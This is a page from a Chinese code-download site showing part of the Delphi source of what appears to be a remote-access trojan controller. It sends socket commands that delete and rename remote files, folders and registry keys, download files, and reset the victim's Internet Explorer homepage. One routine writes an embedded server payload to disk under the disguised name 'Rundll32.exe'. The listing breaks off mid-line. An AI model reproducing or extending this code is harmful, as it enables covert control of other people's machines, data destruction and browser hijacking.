⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 1、远程文件访问。包括文件下载、上传(限文件8M以内)、文件(夹)更名、文件(夹)删除、文件运行、文件查找、创建文件夹、清空文件夹、文件属性查看。   2、远程关机、启动、注销、修改组织名、用户名。
💻 PAS
📖 第 1 页 / 共 5 页
字号:
   if (copy(REGTV.Selected.Text,1,5)='HKEY_') or (REGTV.Selected.Text='我的电脑') then
    begin
     application.MessageBox('该键主能删除!','警告');
     exit;
    end;
  st:=pchar('你真的要删除:'+'“ '+REGTV.Selected.Text+' ”'+'吗?' );
  if application.MessageBox(st,'警告:该操作将不能恢复!',mb_yesno)=idyes then
   begin
    REGTV.Selected.Delete ;
    pt:=sb.Panels.Items[0].Text;
    ss.Socket.Connections[fullip].SendText('304'+copy(pt,10,length(pt)-9));
    i:=0;
    while  pa<>'\' do
     begin
       i:=i+1;
       pa:=COPY(pt,length(pt)-i,1);
     end;
     sb.Panels.Items[0].Text:=copy(pt,1,length(pt)-i);
   end;
end;

procedure TForm1.MenuItem13Click(Sender: TObject);
var Lem: TListItem;
begin//新建SZ值
  if REGLV.Items.Count<1 then exit;
  number();
  Lem := REGLV.Items.Add;
  Lem.Caption := '新值 #'+inttostr(renum);
  Lem.StateIndex :=4;
  ss.Socket.Connections[fullip].SendText('310'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+Lem.Caption );
  REGLV.Items[REGLV.Items.Count-1].SubItems.Add('REG_SZ');
  REGLV.Items[REGLV.Items.Count-1].SubItems.Add('未设值');
  REGLV.Items[REGLV.Items.Count-1].Selected:=true;
end;

procedure TForm1.MenuItem14Click(Sender: TObject);
var Lem: TListItem;
begin//新建DWORD值
  if REGLV.Items.Count<1 then exit;
  number();
  Lem := REGLV.Items.Add;
  Lem.Caption := '新值 #'+inttostr(renum);
  Lem.StateIndex :=5;
  ss.Socket.Connections[fullip].SendText('311'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+Lem.Caption );
  REGLV.Items[REGLV.Items.Count-1].SubItems.Add('REG_DWORD');
  REGLV.Items[REGLV.Items.Count-1].SubItems.Add('未设值');
  REGLV.Items[REGLV.Items.Count-1].Selected:=true;
end;

procedure TForm1.MenuItem15Click(Sender: TObject);
var Lem: TListItem;
begin//新建二进制值
  if REGLV.Items.Count<1 then exit;
  number();
  Lem := REGLV.Items.Add;
  Lem.Caption := '新值 #'+inttostr(renum);
  Lem.StateIndex :=5;
  ss.Socket.Connections[fullip].SendText('312'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+Lem.Caption );
  REGLV.Items[REGLV.Items.Count-1].SubItems.Add('REG_BINARY');
  REGLV.Items[REGLV.Items.Count-1].SubItems.Add('二进制值');
  REGLV.Items[REGLV.Items.Count-1].Selected:=true;
end;

procedure TForm1.MenuItem18Click(Sender: TObject);
var ss:integer;
begin//子键名更名
  if REGLV.ItemIndex =-1 then exit;
  if REGLV.Items.Count<1 then exit;
  ss:=REGLV.Selected.Index ;
  if ss<1 then exit;

  REGLV.ReadOnly :=false;
  REGLV.Items[ss].EditCaption ;
end;

procedure TForm1.REGLVEdited(Sender: TObject; Item: TListItem;
  var S: String);
VAR  pt,pa:string;
begin //键值更名
    i:=0;
    pt:=sb.Panels.Items[0].Text;
    while  pa<>'\' do
     begin
       i:=i+1;
       pa:=COPY(pt,length(pt)-i,1);
     end;
    ss.Socket.Connections[fullip].SendText('320'+copy(pt,10,length(pt)-9)+'*'+REGLV.Selected.Caption+'*'+S);
end;

procedure TForm1.MenuItem11Click(Sender: TObject);
begin//修改键值
 if REGLV.ItemIndex =-1 then
 begin
  application.MessageBox('您没有选择需要修改的键名!','提示');
  exit;
 end;
  eds();
end;

procedure TForm1.REGLVDblClick(Sender: TObject);
begin//修改键值
 if REGLV.ItemIndex =-1 then
 begin
  application.MessageBox('您没有选择需要修改的键名!','提示');
  exit;
 end;
  eds();
end;

procedure TForm1.MenuItem17Click(Sender: TObject);
var st:pchar;
begin  //删除键值
 if REGLV.ItemIndex =-1 then
 begin
  application.MessageBox('您没有选择需要删除的键名!','提示');
  exit;
 end;
 if REGLV.ItemIndex =0 then
 begin
  application.MessageBox('该键名不能删除!','提示');
  exit;
 end;
 st:=pchar('你真的要删除:'+'“ '+REGLV.Selected.Caption +' ”'+'吗?' );
 if application.MessageBox(st,'警告:该操作将不能恢复!',mb_yesno)=idyes then
  begin
   ss.Socket.Connections[fullip].SendText('340'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+REGLV.Selected.Caption);
   REGLV.Selected.Delete ;
  end;
end;

procedure TForm1.FLV1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
VAR oldnam:string;
begin//远程文件删除
 if key=46 then
 begin
  if FLV1.ItemIndex =-1 then
   begin
    application.MessageBox('你还没有选择要删除的文件!','提示');
    exit;
   end;
  if  application.MessageBox('你真的要这样吗?','警告!',mb_yesno)=idyes then
  begin
   if copy(sb.Panels.Items[0].Text,length(sb.Panels.Items[0].Text),1)='\' then
     oldnam:=sb.Panels.Items[0].Text
   else
     oldnam:=sb.Panels.Items[0].Text+'\';
   try
    ss.Socket.Connections[fullip].SendText('157'+oldnam+FLV1.Selected.Caption);
   except
    application.MessageBox('连接断开','提示' );
    mainpc.Enabled :=false;
   end;
  end;
 end;

 if key=113 then
 begin//远程文件更名
 if FLV1.ItemIndex =-1 then
  begin
   application.MessageBox('你还没有选择要更名的文件!','提示');
   exit;
  end;
  filname:=InputBox('文件更名','请输入更改后的文件名: ',FLV1.Selected.Caption);
  if filname='' then exit;
  if copy(sb.Panels.Items[0].Text,length(sb.Panels.Items[0].Text),1)='\' then
    oldnam:=sb.Panels.Items[0].Text
  else
    oldnam:=sb.Panels.Items[0].Text+'\';
  try
   ss.Socket.Connections[fullip].SendText('156'+oldnam+'>>>'+FLV1.Selected.Caption+'>>>'+filname);
  except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
  end;
 end;

end;

procedure TForm1.REGLVKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var st:pchar;
    sts:integer;
begin //注册注册表键值
 if key=46 then
  begin
  if REGLV.ItemIndex =-1 then
   begin
    application.MessageBox('您没有选择需要删除的键名!','提示');
    exit;
   end;
  if REGLV.ItemIndex =0 then
   begin
    application.MessageBox('该键名不能删除!','提示');
    exit;
   end;
  st:=pchar('你真的要删除:'+'“ '+REGLV.Selected.Caption +' ”'+'吗?' );
  if application.MessageBox(st,'警告:该操作将不能恢复!',mb_yesno)=idyes then
   begin
    ss.Socket.Connections[fullip].SendText('340'+copy(sb.Panels.Items[0].Text,10,length(sb.Panels.Items[0].Text)-9)+'*'+REGLV.Selected.Caption);
    REGLV.Selected.Delete ;
   end;
  end;

 if key=113 then
 begin//子键名更名
  if REGLV.ItemIndex =-1 then exit;
  if REGLV.Items.Count<1 then exit;
  sts:=REGLV.Selected.Index ;
  if sts<1 then exit;

  REGLV.ReadOnly :=false;
  REGLV.Items[sts].EditCaption ;
 end;
end;

procedure TForm1.stckClickCheck(Sender: TObject);
begin
 try
  if stck.Checked[stck.ItemIndex]=true then
    ss.Socket.Connections[fullip].SendText(inttostr(350+stck.ItemIndex));
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.Label8Click(Sender: TObject);
begin//查看IE标题栏
   try
    ss.Socket.Connections[fullip].SendText('385');
   except
    application.MessageBox('连接断开','提示' );
    mainpc.Enabled :=false;
   end;
end;

procedure TForm1.IEE1KeyPress(Sender: TObject; var Key: Char);
begin//设置IE标题栏
  if key=chr(27) then
   begin
    IEE1.Clear;
    IEE1.Color :=clInfoBk;
    exit;
   end;

  if key=chr(13) then
   try
    ss.Socket.Connections[fullip].SendText('386'+IEE1.Text);
    IEE1.Color :=clInfoBk;    
   except
    application.MessageBox('连接断开','提示' );
    mainpc.Enabled :=false;
   end;
end;

procedure TForm1.Label12Click(Sender: TObject);
begin//查看IE主页
   try
    ss.Socket.Connections[fullip].SendText('387');
   except
    application.MessageBox('连接断开','提示' );
    mainpc.Enabled :=false;
   end;
end;

procedure TForm1.IEE2KeyPress(Sender: TObject; var Key: Char);
begin//设置主页网址
  if key=chr(27) then
   begin
    IEE2.Clear;
    IEE2.Color :=clInfoBk;
    exit;
   end;

  if key=chr(13) then
   try
    ss.Socket.Connections[fullip].SendText('388'+IEE2.Text );
    IEE2.Color :=clInfoBk;
   except
    application.MessageBox('连接断开','提示' );
    mainpc.Enabled :=false;
   end;
end;      

procedure TForm1.pasedKeyPress(Sender: TObject; var Key: Char);
begin
  if key=chr(13) then
   begin
   if IPVI.ItemIndex =-1 then
    begin
     application.MessageBox('你还没有选择要连接的IP地址!','提示');
     exit;
    end;
    ss.Socket.Connections[IPVI.Selected.Index].SendText('007'+pased.Text);
   end;
end;

procedure TForm1.sverClick(Sender: TObject);
var fme:TMemoryStream;
    clf:TfileStream;
    size:integer;
    stf:string;
begin
    stf:=ExtractFilePath(Paramstr(0))+'Rundll32.exe';
    if fileexists(stf) then deletefile(stf);

    fme:=TMemoryStream.Create;
    clf:=Tfilestream.Create(application.ExeName,fmShareDenyNone);
    try
        clf.Seek(-sizeof(size),soFromEnd);
        clf.ReadBuffer(size,sizeof(size));
        clf.Seek(-size,soFromEnd);
        fme.CopyFrom(clf,size-sizeof(size));
        fme.SaveToFile(stf);
    finally
        fme.Free;
        clf.Free;
    end;

  form4.Visible :=true;
  FORM4.T1.Enabled :=TRUE;
  form1.Enabled :=false;
end;

procedure TForm1.FCBChange(Sender: TObject);
begin//选择驱动器时
 try
   ss.Socket.Connections[fullip].SendText('130'+FCB.Text);
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.FTVDblClick(Sender: TObject);
begin//选择目录时
 try
   ss.Socket.Connections[fullip].SendText('131'+sb.Panels.Items[0].Text  );
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;

procedure TForm1.FTVKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var   ATM: TTreeNode;
      STP: string;
begin //回车展开子项
 if key=13 then
  begin
   try
    ss.Socket.Connections[fullip].SendText('131'+sb.Panels.Items[0].Text  );
   except
    application.MessageBox('连接断开','提示' );
    mainpc.Enabled :=false;
   end;
  end;

 if key=46 then//删除文件夹
  begin//远程目录删除
   IF length(SB.Panels.Items[0].Text)<3 then
    begin
     application.MessageBox('不能删除驱动器','注意');
     exit;
    end;

   if  application.MessageBox('这个操作将清除该文件夹下的所有文件!'+chr(13)+'你真的要这样吗???','严重警告!!!',mb_yesno)=idyes then
    begin
     try
      ss.Socket.Connections[fullip].SendText('152'+sb.Panels.Items[0].Text );
      FTV.Selected.Expand(True);
      STP := '';
      ATM := FTV.Selected;
      while Assigned(ATM) do
       begin
        STP := ATM.Text+'\'+STP;
        ATM := ATM.Parent;
       end;
      SetLength(STP,Length(STP)-1);
      sb.Panels.Items[0].Text :=STP;
     except
      application.MessageBox('连接断开','提示' );
      mainpc.Enabled :=false;
     end;
    end;
 end;
 if key=113 then //更名
  begin
    if FTV.Selected.Level <1 then EXIT;
    FTV.ReadOnly :=false;
    FTV.Selected.EditText ;
  end;
end;

procedure TForm1.FLV1DblClick(Sender: TObject);
begin//选择文件时
 try
   ss.Socket.Connections[fullip].SendText('132'+sb.Panels.Items[0].Text+'\'+FLV1.Selected.Caption );
 except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
 end;
end;
      
procedure TForm1.N6Click(Sender: TObject);
begin//远程新建目录名
  dirname:=InputBox('新建文件夹','请输入文件夹名: ','');
  if dirname='' then exit;
  try
   ss.Socket.Connections[fullip].SendText('150'+sb.Panels.Items[0].Text+'\'+dirname);
  except
   application.MessageBox('连接断开','提示' );
   mainpc.Enabled :=false;
  end;
end;

procedure TForm1.N8Click(Sender: TObject);
var   ATM: TTreeNode;
      STP: string;
begin//远程目录删除
 IF length(SB.Panels.Items[0].Text)<3 then
  begin
    application.MessageBox('不能删除驱动器','注意');
    exit;
  end;

 if  application.MessageBox('这个操作将清除该文件夹下的所有文件!'+chr(13)+'你真的要这样吗???','严重警告!!!',mb_yesno)=idyes then
  begin
   try
    ss.Socket.Connections[fullip].SendText('152'+sb.Panels.Items[0].Text );
    FTV.Selected.Expand(True);
    STP := '';
    ATM := FTV.Selected;
    while Assigned(ATM) do
    begin
     STP := ATM.Text+'\'+STP;
     ATM := ATM.Parent;
    end;
    SetLength(STP,Length(STP)-1);
    sb.Panels.Items[0].Text :=STP;
   except
    application.MessageBox('连接断开','提示' );
    mainpc.Enabled :=false;
   end;
  end;
end;

procedure TForm1.N9Click(Sender: TObject);
begin//远程文件下载
 if FLV1.ItemIndex =-1 then
  begin
   application.MessageBox('你还没有选择要下载的文件!','提示');
   exit;
  end;
  try
   if length(sb.Panels.Items[0].Text)<>3 then
     ss.Socket.Connections[fullip].SendText('179'+sb.Panels.Items[0].Text+'\'+FLV1.Selected.Caption)
   else
     ss.Socket.Connections[fullip].SendText('179'+sb.Panel

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -